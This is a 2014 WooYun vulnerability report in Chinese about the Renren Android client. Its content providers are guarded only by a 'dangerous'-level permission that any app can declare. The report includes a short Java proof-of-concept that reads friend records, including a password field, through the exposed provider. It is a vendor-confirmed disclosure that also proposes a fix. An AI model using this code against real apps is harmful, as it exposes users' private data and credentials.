人人客户端google play版 权限问题可导致隐私泄露

编号48778
Urlhttp://www.wooyun.org/bug.php?action=view&id=48778
漏洞状态厂商已经确认
漏洞标题人人客户端google play版 权限问题可导致隐私泄露
漏洞类型设计缺陷/逻辑错误
厂商人人网
白帽子段誉
提交日期2014-01-13 17:05:00
公开日期2014-04-13 17:06:00
修复时间(not set)
确认时间2014-01-14 00:00:00
Confirm Spend1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank4
漏洞简介
人人客户端google play 版权限问题导致隐私泄露
漏洞细节

android客户端 google play 最新版
<provider android:name=".contentprovider.AccountProvider" android:permission="com.renren.xiaonei.android.permission.PERMISSION_ADD_ACCOUNT" android:authorities="com.renren.xiaonei.account" />
<provider android:name=".contentprovider.BaseProvider" android:permission="com.renren.xiaonei.android.permission.PERMISSION_ADD_ACCOUNT" android:authorities="com.renren.xiaonei.base" />
虽然有com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT,但是权限只是android:protectionLevel="dangerous",这个不够,声明这个权限又能够读取到信息
以.contentprovider.BaseProvider为例,读取数据库中获取好友信息,人人消息等重要信息
主要利用代码:
manifest中需要声明
<permission android:name="com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT" android:protectionLevel="dangerous" />
<uses-permission android:name="com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT" />
代码中:
private void renren()
{
int i = 0;
ContentResolver contentresolver = getContentResolver();
Uri uri = Uri.parse("content://com.renren.xiaonei.base/friends");
Cursor cursor = contentresolver.query(uri, null, null, null, null);
do
{
if (!cursor.moveToNext())
{
Log.i("TEST",String.valueOf(i));
return;
}
Log.i("TEST", (new StringBuilder("id=")).append(cursor.getInt(0)).append(",name=").append(cursor.getString(2)).append(",passwd=").append(cursor.getString(3)).toString());
i++;
} while (true);
}

POC

renren2.png

修复方案

android:protectionLevel="dangerous"还是不够,再高点即可

状态信息 2014-01-13: 细节已通知厂商并且等待厂商处理中
2014-01-14: 厂商已经确认,细节仅向厂商公开
2014-01-17: 细节向第三方安全合作伙伴开放
2014-03-10: 细节向核心白帽子及相关领域专家公开
2014-03-20: 细节向普通白帽子公开
2014-03-30: 细节向实习白帽子公开
2014-04-13: 细节向公众公开
厂商回复ths
回应信息危害等级:低漏洞Rank:4 确认时间:2014-01-14 18:37